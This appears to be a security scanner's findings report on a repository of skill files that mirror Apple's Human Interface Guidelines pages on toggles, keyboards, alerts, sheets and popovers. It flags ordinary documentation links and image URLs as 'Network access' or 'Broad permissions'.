  • Network accessline 49
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/toggles#macOS)
  • Network accessline 55
    #### [Switches](https://developer.apple.com/design/human-interface-guidelines/toggles#Switches)
  • Network accessline 57
    **Prefer a switch for settings that you want to emphasize.** A switch has more visual weight than a checkbox, so it looks better when it controls more functionality than a checkbox typically does. For example, you might use a switch to let 
  • Network accessline 59
    **Within a grouped form, consider using a mini switch to control the setting in a single row.** The height of a mini switch is similar to the height of buttons and other controls, resulting in rows that have a consistent height. If you need
  • Network accessline 63
    #### [Checkboxes](https://developer.apple.com/design/human-interface-guidelines/toggles#Checkboxes)
  • Network accessline 69
    ![An illustration showing a layout that includes two levels of checkboxes.](https://docs-assets.developer.apple.com/published/ec2755eb8089e275b1ebb3cd294606b0/checkbox-alignment%402x.png)
  • Network accessline 75
    **Accurately reflect a checkbox’s state in its appearance.** A checkbox’s state can be on, off, or mixed. If you use a checkbox to globally turn on and off multiple subordinate checkboxes, show a mixed state when the subordinate checkboxes 
  • Network accessline 77
    ![An illustration that shows a checkbox with the on state, which looks like a small rounded square with blue fill and a white checkmark.](https://docs-assets.developer.apple.com/published/67efc6dab34453404f164acef3bac84d/checkbox-selected%4
  • Network accessline 79
    ![An illustration that shows a checkbox with the off state, which looks like a small rounded square with no fill.](https://docs-assets.developer.apple.com/published/ffd72e78175dc69a27016e8454030b71/checkbox-deselected%402x.png)Off
  • Network accessline 81
    ![An illustration that shows a checkbox with the mixed state, which looks like a small rounded square with blue fill and a white hyphen.](https://docs-assets.developer.apple.com/published/f60cc3ddbea31509d83e204d963cb1d0/checkbox-mixed%402x
  • Network accessline 83
    #### [Radio buttons](https://developer.apple.com/design/human-interface-guidelines/toggles#Radio-buttons)
  • Network accessline 87
    ![An illustration that shows five items in a column, each with a radio button preceding the text Radio Button Label. The radio button for the third item is filled, indicating that it's selected.](https://docs-assets.developer.apple.com/publ
  • Network accessline 91
    ![An illustration that shows a selected radio button, which looks like a white dot centered in a small circle with a dark fill.](https://docs-assets.developer.apple.com/published/91c45b3934ecd18b42b2bb72e64ca702/radio-button-selected%402x.p
  • Network accessline 93
    ![An illustration that shows a deselected radio button, which looks like a small, empty circle.](https://docs-assets.developer.apple.com/published/1bec25f63381d81a41f885e1338eb571/radio-button-deselected%402x.png)Deselected
  • Network accessline 97
    **Avoid listing too many radio buttons in a set.** A long list of radio buttons takes up a lot of space in the interface and can be overwhelming. If you need to present more than about five options, consider using a component like a [pop-up
  • Network accessline 103
    ![An illustration that shows three items in a row, with a radio button preceding each item. The first and third items have long text labels, while the second has a short label. The horizontal space each item occupies is equal. A filled radi
  • Network accessline 105
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/toggles#Resources)
  • Network accessline 107
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/toggles#Related)
  • Network accessline 109
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 111
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/toggles#Developer-documentation)
  • Network accessline 113
    [`Toggle`](https://developer.apple.com/documentation/SwiftUI/Toggle) — SwiftUI
  • Network accessline 115
    [`UISwitch`](https://developer.apple.com/documentation/UIKit/UISwitch) — UIKit
  • Network accessline 117
    [`NSButton.ButtonType.toggle`](https://developer.apple.com/documentation/AppKit/NSButton/ButtonType/toggle) — AppKit
  • Network accessline 119
    [`NSSwitch`](https://developer.apple.com/documentation/AppKit/NSSwitch) — AppKit
  • Network accessline 121
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/toggles#Change-log)

skills/hig-components-controls/references/token-fields.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Token fields | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/token-fields
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/token-fields
  • Network accessline 9
    ![A stylized representation of a text field containing a person's name formatted as a token. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/ae1ce6c3
  • Network accessline 15
    ![A partial screenshot of a Mail compose window in which tokens represent some recipients.](https://docs-assets.developer.apple.com/published/ab0f5c6dea336edb0c10cf09e33b05e3/token-fields-suggestion%402x.png)
  • Network accessline 19
    ![A partial screenshot of a Mail compose window in which one recipient token reveals a menu of commands.](https://docs-assets.developer.apple.com/published/84d649e57814229dc2c7acb5fe5e230f/token-fields-contextual%402x.png)
  • Network accessline 21
    Tokens can also represent search terms in some situations; for guidance, see [Search fields](https://developer.apple.com/design/human-interface-guidelines/search-fields).
  • Network accessline 23
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/token-fields#Best-practices)
  • Network accessline 25
    **Add value with a context menu.** People often benefit from a [context menu](https://developer.apple.com/design/human-interface-guidelines/context-menus) with additional options or information about a token.
  • Network accessline 31
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/token-fields#Platform-considerations)
  • Network accessline 35
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/token-fields#Resources)
  • Network accessline 37
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/token-fields#Related)
  • Network accessline 39
    [Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields)
  • Network accessline 41
    [Search fields](https://developer.apple.com/design/human-interface-guidelines/search-fields)
  • Network accessline 43
    [Context menus](https://developer.apple.com/design/human-interface-guidelines/context-menus)
  • Network accessline 45
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/token-fields#Developer-documentation)
  • Network accessline 47
    [`NSTokenField`](https://developer.apple.com/documentation/AppKit/NSTokenField) — AppKit

skills/hig-components-controls/references/virtual-keyboards.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Virtual keyboards | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards
  • Network accessline 9
    ![A stylized representation of a numeric keypad shown on top of a grid that suggests the canvas of a design tool. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.c
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Best-practices)
  • Network accessline 17
    **Choose a keyboard that matches the type of content people are editing.** For example, you can help people enter numeric data by providing the numbers and punctuation keyboard. When you specify a semantic meaning for a text input area, the
  • Network accessline 34
    ![A partial screenshot of a keyboard on iPhone that displays all 26 letter keys in addition to the Shift, Delete, Numbers, Space, and Return keys. Typing suggestions appear above the keyboard and the Dictation button appears below it.](http
  • Network accessline 36
    ![A partial screenshot of a keyboard on iPhone that displays all 10 number keys in addition to the Delete key. Keys for the numbers 2 through 9 each include the 3 or 4 letters associated with the number on a phone.](https://docs-assets.deve
  • Network accessline 38
    ![A partial screenshot of a keyboard on iPhone that displays all 10 number keys in addition to the Delete and period keys. Keys for the numbers 2 through 9 each include the 3 or 4 letters associated with the number on a phone.](https://docs
  • Network accessline 40
    ![A partial screenshot of a keyboard on iPhone that displays all 26 letter keys in addition to the Shift, Delete, Numbers, Space, and Return keys. Typing suggestions appear above the keyboard and the  Emoji and Dictation buttons appear belo
  • Network accessline 42
    ![A partial screenshot of a keyboard on iPhone that displays all 26 letter keys in addition to the Shift, Delete, Numbers, Space, period, at symbol, and Return keys. Typing suggestions appear above the keyboard and the Emoji button appears 
  • Network accessline 44
    ![A partial screenshot of a keyboard on iPhone that displays all 26 letter keys in addition to the Shift, Delete, Numbers, Space, and Return keys. Typing suggestions appear above the keyboard and the Emoji and Dictation buttons appear below
  • Network accessline 46
    ![A partial screenshot of a keyboard on iPhone that displays all 10 number keys in addition to the Delete key. Keys for the numbers 2 through 9 each include the 3 or 4 letters associated with the number on a phone.](https://docs-assets.deve
  • Network accessline 48
    ![A partial screenshot of a keyboard on iPhone that displays 10 number and 15 punctuation keys in addition to the secondary punctuation key and the Delete, Letters, Space, and Return keys. Typing suggestions appear above the keyboard and th
  • Network accessline 50
    ![A partial screenshot of a keyboard on iPhone that displays all 10 number keys in addition to the Delete key and a key for plus, star, and hash. Keys for the numbers 2 through 9 each include the 3 or 4 letters associated with the number on
  • Network accessline 52
    ![A partial screenshot of a keyboard on iPhone that displays all 26 letter keys in addition to the Shift, Delete, Numbers, Space, at symbol, and hash keys. Typing suggestions appear above the keyboard and the Emoji and Dictation buttons app
  • Network accessline 54
    ![A partial screenshot of a keyboard on iPhone that displays all 26 letter keys in addition to the Shift, Delete, Numbers, period, slash, dot com, and Return keys. Typing suggestions appear above the keyboard and the Emoji button appears be
  • Network accessline 56
    ![A partial screenshot of a keyboard on iPhone that displays all 26 letter keys in addition to the Shift, Delete, Numbers, Space, period, and Go keys. Typing suggestions appear above the keyboard and the Emoji and Dictation buttons appear b
  • Network accessline 58
    **Consider customizing the Return key type if it helps clarify the text-entry experience.** The Return key type is based on the keyboard type you choose, but you can change this if it makes sense in your app. For example, if your app initia
  • Network accessline 60
    ## [Custom input views](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Custom-input-views)
  • Network accessline 62
    In some cases, you can create an _input view_ if you want to provide custom functionality that enhances data-entry tasks in your app. For example, Numbers provides a custom input view for entering numeric values while editing a spreadsheet.
  • Network accessline 66
    **Play the standard keyboard sound while people type.** The keyboard sound provides familiar feedback when people tap a key on the system keyboard, so they’re likely to expect the same sound when they tap keys in your custom input view. Peo
  • Network accessline 68
    ## [Custom keyboards](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Custom-keyboards)
  • Network accessline 70
    In iOS, iPadOS, and tvOS, you can provide a custom keyboard that replaces the system keyboard by creating an app extension. An _app extension_ is code you provide that people can install and use to extend the functionality of a specific are
  • Network accessline 72
    After people choose your custom keyboard in Settings, they can use it for text entry within any app, except when editing secure text fields and phone number fields. People can choose multiple custom keyboards and switch between them at any 
  • Network accessline 82
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Platform-considerations)
  • Network accessline 86
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#iOS-iPadOS)
  • Network accessline 88
    **Use the keyboard layout guide to make the keyboard feel like an integrated part of your interface.** Using the layout guide also helps you keep important parts of your interface visible while the virtual keyboard is onscreen. For develope
  • Network accessline 90
    ![An illustration of an app layout on iPhone, showing two stacked text fields and a button above the keyboard.](https://docs-assets.developer.apple.com/published/2d310619deb1ce3587596b7fee6e5b08/ui-fully-visible%402x.png)
  • Network accessline 92
    ![A checkmark in a circle to indicate a correct example.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)The keyboard layout guide helps ensure that app UI and the keyboard work well to
  • Network accessline 94
    ![An illustration of an app layout on iPhone, showing two stacked text fields. The keyboard covers part of the bottom text field.](https://docs-assets.developer.apple.com/published/b2612a1b69632d398d2744caee9ff1e2/text-field-hidden%402x.png
  • Network accessline 96
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)Without the layout guide, the keyboard could make entering text more difficult.
  • Network accessline 98
    ![An illustration of an app layout on iPhone, showing two stacked text fields and a button above the keyboard. The keyboard covers part of the button.](https://docs-assets.developer.apple.com/published/3a2b1c460427926e69f4d3e8d1383aef/butto
  • Network accessline 100
    ![An X in a circle to indicate an incorrect example.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)Without the layout guide, the keyboard could make tapping a button more difficult.
  • Network accessline 102
    **Place custom controls above the keyboard thoughtfully.** Some apps position an input accessory view containing custom controls above the keyboard to offer app-specific functionality related to the data people are working with. For example
  • Network accessline 104
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#tvOS)
  • Network accessline 112
    When people activate a digit entry view, tvOS displays a digit-specific keyboard. For guidance, see [Digit entry views](https://developer.apple.com/design/human-interface-guidelines/digit-entry-views).
  • Network accessline 114
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#visionOS)
  • Network accessline 124
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#watchOS)
  • Network accessline 126
    On Apple Watch, a text field can show a keyboard if the device screen is large enough. Otherwise, the system lets people use dictation or Scribble to enter information. You can’t change the keyboard type in watchOS, but you can set the cont
  • Network accessline 130
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Resources)
  • Network accessline 132
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Related)
  • Network accessline 134
    [Entering data](https://developer.apple.com/design/human-interface-guidelines/entering-data)
  • Network accessline 136
    [Keyboards](https://developer.apple.com/design/human-interface-guidelines/keyboards)
  • Network accessline 138
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 140
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Developer-documentation)
  • Network accessline 142
    [`keyboardType(_:)`](https://developer.apple.com/documentation/SwiftUI/View/keyboardType\(_:\)) — SwiftUI
  • Network accessline 144
    [`textContentType(_:)`](https://developer.apple.com/documentation/SwiftUI/View/textContentType\(_:\)) — SwiftUI
  • Network accessline 146
    [`UIKeyboardType`](https://developer.apple.com/documentation/UIKit/UIKeyboardType) — UIKit
  • Network accessline 148
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Change-log)

skills/hig-components-dialogs/SKILL.md

  • Network accessline 78
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-components-dialogs/references/action-sheets.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Action sheets | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/action-sheets
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/action-sheets
  • Network accessline 9
    ![A stylized representation of a set of action sheet buttons at the bottom of an iPhone. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/6102d0ab9e98
  • Network accessline 13
    When you use SwiftUI, you can offer action sheet functionality in all platforms by specifying a [presentation modifier](https://developer.apple.com/documentation/swiftui/view-presentation) for a confirmation dialog. If you use UIKit, you us
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/action-sheets#Best-practices)
  • Network accessline 17
    **Use an action sheet — not an alert — to offer choices related to an intentional action.** For example, when people cancel the message they’re editing in Mail on iPhone, an action sheet provides two choices: delete the draft, or save the d
  • Network accessline 19
    ![A partial screenshot of a new message being composed in Mail on iPhone.](https://docs-assets.developer.apple.com/published/d78e3a39898532655eb9155586cdc1e7/action-sheet-iphone-mail%402x.png)
  • Network accessline 21
    ![A partial screenshot of a new message being composed in Mail on iPhone, with the action sheet open after choosing to cancel the message. The action sheet presents choices to delete the draft or save the draft.](https://docs-assets.develop
  • Network accessline 31
    **Make destructive choices visually prominent.** Use the destructive style for buttons that perform destructive actions, and place these buttons at the top of the action sheet where they tend to be most noticeable. For developer guidance, s
  • Network accessline 33
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/action-sheets#Platform-considerations)
  • Network accessline 37
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/action-sheets#iOS-iPadOS)
  • Network accessline 43
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/action-sheets#watchOS)
  • Network accessline 47
    ![An illustration of an action sheet on Apple Watch, showing content that represents text in the top half of the watch screen and two stacked buttons in the bottom half.](https://docs-assets.developer.apple.com/published/4ec6a46689c0ec4550d
  • Network accessline 59
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/action-sheets#Resources)
  • Network accessline 61
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/action-sheets#Related)
  • Network accessline 63
    [Modality](https://developer.apple.com/design/human-interface-guidelines/modality)
  • Network accessline 65
    [Sheets](https://developer.apple.com/design/human-interface-guidelines/sheets)
  • Network accessline 67
    [Alerts](https://developer.apple.com/design/human-interface-guidelines/alerts)
  • Network accessline 69
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/action-sheets#Developer-documentation)
  • Network accessline 71
    [`confirmationDialog(_:isPresented:titleVisibility:actions:)`](https://developer.apple.com/documentation/SwiftUI/View/confirmationDialog\(_:isPresented:titleVisibility:actions:\)-46zbb) — SwiftUI
  • Network accessline 73
    [`UIAlertController.Style.actionSheet`](https://developer.apple.com/documentation/UIKit/UIAlertController/Style/actionSheet) — UIKit

skills/hig-components-dialogs/references/alerts.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Alerts | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/alerts
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/alerts
  • Network accessline 9
    ![A stylized representation of an alert mockup that includes a title, description, primary button, and secondary button. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/alerts#Best-practices)
  • Network accessline 23
    ## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/alerts#Anatomy)
  • Network accessline 35
    ![An illustration of an alert in the middle of the screen on iPhone.](https://docs-assets.developer.apple.com/published/ec9df875e228750105a393c96279bea5/alert-ios%402x.png)
  • Network accessline 37
    ![An illustration of an alert in the middle of the screen on a Mac.](https://docs-assets.developer.apple.com/published/0dfc6fd9de495ce3b7201169d829d760/alert-macos%402x.png)
  • Network accessline 39
    ![An illustration of an alert on tvOS.](https://docs-assets.developer.apple.com/published/63dde83c2b156231420f095a4d9dfae3/alert-tvos%402x.jpg)
  • Network accessline 41
    ![An illustration of an alert on Apple Vision Pro.](https://docs-assets.developer.apple.com/published/1abb6467cc401af501648da039b2b317/alert-visionos%402x.png)
  • Network accessline 43
    ![An illustration of an alert on Apple Watch.](https://docs-assets.developer.apple.com/published/a452534204f5ddb4aaa6ba7679946f2e/alert-watchos%402x.png)
  • Network accessline 45
    ## [Content](https://developer.apple.com/design/human-interface-guidelines/alerts#Content)
  • Network accessline 53
    * macOS alerts can add a suppression [checkbox](https://developer.apple.com/design/human-interface-guidelines/toggles#Checkboxes) and a [Help button](https://developer.apple.com/design/human-interface-guidelines/buttons#Help-buttons).
  • Network accessline 60
    **Write a title that clearly and succinctly describes the situation.** You need to help people quickly understand the situation, so be complete and specific, without being verbose. As much as possible, describe what happened, the context in
  • Network accessline 64
    **Avoid explaining alert buttons.** If your alert text and button titles are clear, you don’t need to explain what the buttons do. In rare cases where you need to provide guidance on choosing a button, use a term like _choose_ to account fo
  • Network accessline 68
    ## [Buttons](https://developer.apple.com/design/human-interface-guidelines/alerts#Buttons)
  • Network accessline 70
    **Create succinct, logical button titles.** Aim for a one- or two-word title that describes the result of selecting the button. Prefer verbs and verb phrases that relate directly to the alert text — for example, “View All,” “Reply,” or “Ign
  • Network accessline 88
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/alerts#Platform-considerations)
  • Network accessline 92
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/alerts#iOS-iPadOS)
  • Network accessline 94
    **Use an action sheet — not an alert — to offer choices related to an intentional action.** For example, when people cancel the Mail message they’re editing, an action sheet provides three choices: delete the edits (or the entire draft), sa
  • Network accessline 98
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/alerts#macOS)
  • Network accessline 104
    * Append a custom view if it’s necessary to provide additional information (for developer guidance, see [`accessoryView`](https://developer.apple.com/documentation/AppKit/NSAlert/accessoryView)).
  • Network accessline 106
    * Include a Help button that opens your help documentation (see [Help buttons](https://developer.apple.com/design/human-interface-guidelines/buttons#Help-buttons)).
  • Network accessline 113
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/alerts#visionOS)
  • Network accessline 123
    If someone moves a window without dismissing its alert, the alert remains anchored to the window. If your app is running in a Full Space, the system displays the alert centered in the wearer’s [field of view](https://developer.apple.com/des
  • Network accessline 133
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/alerts#Resources)
  • Network accessline 135
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/alerts#Related)
  • Network accessline 137
    [Modality](https://developer.apple.com/design/human-interface-guidelines/modality)
  • Network accessline 139
    [Action sheets](https://developer.apple.com/design/human-interface-guidelines/action-sheets)
  • Network accessline 141
    [Sheets](https://developer.apple.com/design/human-interface-guidelines/sheets)
  • Network accessline 143
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/alerts#Developer-documentation)
  • Network accessline 145
    [`alert(_:isPresented:actions:)`](https://developer.apple.com/documentation/SwiftUI/View/alert\(_:isPresented:actions:\)-1bkka) — SwiftUI
  • Network accessline 147
    [`UIAlertController`](https://developer.apple.com/documentation/UIKit/UIAlertController) — UIKit
  • Network accessline 149
    [`NSAlert`](https://developer.apple.com/documentation/AppKit/NSAlert) — AppKit
  • Network accessline 151
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/alerts#Change-log)

skills/hig-components-dialogs/references/digit-entry-views.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Digit entry views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/digit-entry-views
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/digit-entry-views
  • Network accessline 9
    ![A stylized representation of an Apple TV five-digit passcode entry screen. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/ca37bff0e0176a587241e4a6
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/digit-entry-views#Best-practices)
  • Network accessline 19
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/digit-entry-views#Platform-considerations)
  • Network accessline 23
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/digit-entry-views#Resources)
  • Network accessline 25
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/digit-entry-views#Related)
  • Network accessline 27
    [Virtual keyboards](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards)
  • Network accessline 29
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/digit-entry-views#Developer-documentation)
  • Network accessline 31
    [`TVDigitEntryViewController`](https://developer.apple.com/documentation/TVUIKit/TVDigitEntryViewController) — TVUIKit

skills/hig-components-dialogs/references/popovers.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Popovers | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/popovers
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/popovers
  • Network accessline 9
    ![A stylized representation of a popover view. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/90068cb259f3c3d15e6adf38766dd706/components-popover-in
  • Network accessline 11
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/popovers#Best-practices)
  • Network accessline 35
    **Avoid using a popover to show a warning.** People can miss a popover or accidentally close it. If you need to warn people, use an [alert](https://developer.apple.com/design/human-interface-guidelines/alerts) instead.
  • Network accessline 37
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/popovers#Platform-considerations)
  • Network accessline 41
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/popovers#iOS-iPadOS)
  • Network accessline 43
    **Avoid displaying popovers in compact views.** Make your app or game dynamically adjust its layout based on the size class of the content area. Reserve popovers for wide views; for compact views, use all available screen space by presentin
  • Network accessline 45
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/popovers#macOS)
  • Network accessline 54
    ![An illustration of an event in Calendar with the attached version of the event's popover next to and pointing to it.](https://docs-assets.developer.apple.com/published/ef05d3cb071e4c11209cce39b596ca99/attached-popover%402x.png)
  • Network accessline 56
    ![An illustration of an event in Calendar with the detached version of the event's popover next to it.](https://docs-assets.developer.apple.com/published/d0b16d14a582a887f385896669394ee4/detached-popover%402x.png)
  • Network accessline 62
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/popovers#Resources)
  • Network accessline 64
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/popovers#Related)
  • Network accessline 66
    [Sheets](https://developer.apple.com/design/human-interface-guidelines/sheets)
  • Network accessline 68
    [Action sheets](https://developer.apple.com/design/human-interface-guidelines/action-sheets)
  • Network accessline 70
    [Alerts](https://developer.apple.com/design/human-interface-guidelines/alerts)
  • Network accessline 72
    [Modality](https://developer.apple.com/design/human-interface-guidelines/modality)
  • Network accessline 74
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/popovers#Developer-documentation)
  • Network accessline 76
    [`popover(isPresented:attachmentAnchor:arrowEdge:content:)`](https://developer.apple.com/documentation/SwiftUI/View/popover\(isPresented:attachmentAnchor:arrowEdge:content:\)) — SwiftUI
  • Network accessline 78
    [`UIPopoverPresentationController`](https://developer.apple.com/documentation/UIKit/UIPopoverPresentationController) — UIKit
  • Network accessline 80
    [`NSPopover`](https://developer.apple.com/documentation/AppKit/NSPopover) — AppKit

skills/hig-components-dialogs/references/sheets.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Sheets | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/sheets
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/sheets
  • Network accessline 9
    ![A stylized representation of a sheet extending down from the top of a window. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/357ff0b017e9241da8288
  • Network accessline 11
    By default, a sheet is _modal_ , presenting a targeted experience that prevents people from interacting with the parent view until they dismiss the sheet (for more on modal presentation, see [Modality](https://developer.apple.com/design/hum
  • Network accessline 15
    ![A screenshot of an in-progress note on iPhone. Several words are selected and highlighted. In the bottom half of the screen, the format sheet shows that the selected words use the regular body font.](https://docs-assets.developer.apple.co
  • Network accessline 19
    ![A screenshot of the same in-progress note on iPhone. Different words are selected and highlighted. The format sheet shows that the selected words use the body font in italics.](https://docs-assets.developer.apple.com/published/f7b427fb2d8
  • Network accessline 23
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/sheets#Best-practices)
  • Network accessline 27
    **For complex or prolonged user flows, consider alternatives to sheets.** For example, iOS and iPadOS offer a full-screen style of modal view that can work well to display content like videos, photos, or camera views or to help people perfo
  • Network accessline 31
    **Use a nonmodal view when you want to present supplementary items that affect the main task in the parent view.** To give people access to information and actions they need while continuing to interact with the main window, consider using 
  • Network accessline 33
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/sheets#Platform-considerations)
  • Network accessline 37
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/sheets#iOS-iPadOS)
  • Network accessline 41
    ![An illustration showing an iPhone screen in portrait orientation containing a solid rounded rectangle that occupies almost all of the screen, representing a full-screen sheet. A rounded close button appears in the upper-left corner of the
  • Network accessline 45
    ![An illustration showing an iPhone screen in portrait orientation containing a solid rounded rectangle that occupies half of the screen, representing a half-screen sheet. A rounded close button appears in the upper-left corner of the sheet
  • Network accessline 49
    Sheets automatically support the large detent. Adding the medium detent allows the sheet to rest at both heights, whereas specifying only medium prevents the sheet from expanding to full height. For developer guidance, see [`detents`](https
  • Network accessline 53
    **Include a grabber in a resizable sheet.** A grabber shows people that they can drag the sheet to resize it; they can also tap it to cycle through the detents. In addition to providing a visual indicator of resizability, a grabber also wor
  • Network accessline 61
    ![An illustration of the top half of a sheet on iPhone. A Cancel button appears in the top-left corner of the view.](https://docs-assets.developer.apple.com/published/4c0ea03add08b05592c51ed58ebb79f1/sheets-close-button-placement-no-back%40
  • Network accessline 65
    ![An illustration of the top half of a sheet on iPhone. A Back button appears in the top-left corner of the view, and a Cancel button appears in the top-right corner.](https://docs-assets.developer.apple.com/published/4325d8e5db78c585b01a71
  • Network accessline 69
    **Prefer using the page or form sheet presentation styles in an iPadOS app.** Each style uses a default size for the sheet, centering its content on top of a dimmed background view and providing a consistent experience. For developer guidan
  • Network accessline 71
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/sheets#macOS)
  • Network accessline 75
    ![A screenshot of the Notes app, with the What's New in Notes sheet centered on top of a dimmed Notes document in the background.](https://docs-assets.developer.apple.com/published/582e02d0df9b4a07dea002053f9ec6ea/sheets-macos-notes%402x.pn
  • Network accessline 83
    **Use a panel instead of a sheet if people need to repeatedly provide input and observe results.** A find and replace panel, for example, might let people initiate replacements individually, so they can observe the result of each search for
  • Network accessline 85
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/sheets#visionOS)
  • Network accessline 95
    **Avoid displaying a sheet that emerges from the bottom edge of a window.** To help people view the sheet, prefer centering it in their [field of view](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Field-of-vi
  • Network accessline 99
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/sheets#watchOS)
  • Network accessline 103
    ![A screenshot of a sheet with a primary Action button and a default cancel button on Apple Watch.](https://docs-assets.developer.apple.com/published/fcdad96a098bea9c7b98a114403e46f2/sheets-watch-overlay%402x.png)
  • Network accessline 105
    **Use a sheet only when your modal task requires a custom title or custom content presentation.** If you need to give people important information or present a set of choices, consider using an [alert](https://developer.apple.com/design/hum
  • Network accessline 109
    **Change the default label of the dismiss control only if it makes sense in your app.** By default, the sheet displays a round Cancel button in the upper left corner. Use this button when the sheet lets people make changes to the app’s beha
  • Network accessline 111
    ![A screenshot of a watch displaying a sheet with the standard check mark Done button on Apple Watch.](https://docs-assets.developer.apple.com/published/bc70ac8a01bd110befa02132e9f53672/sheets-watch-custom%402x.png)
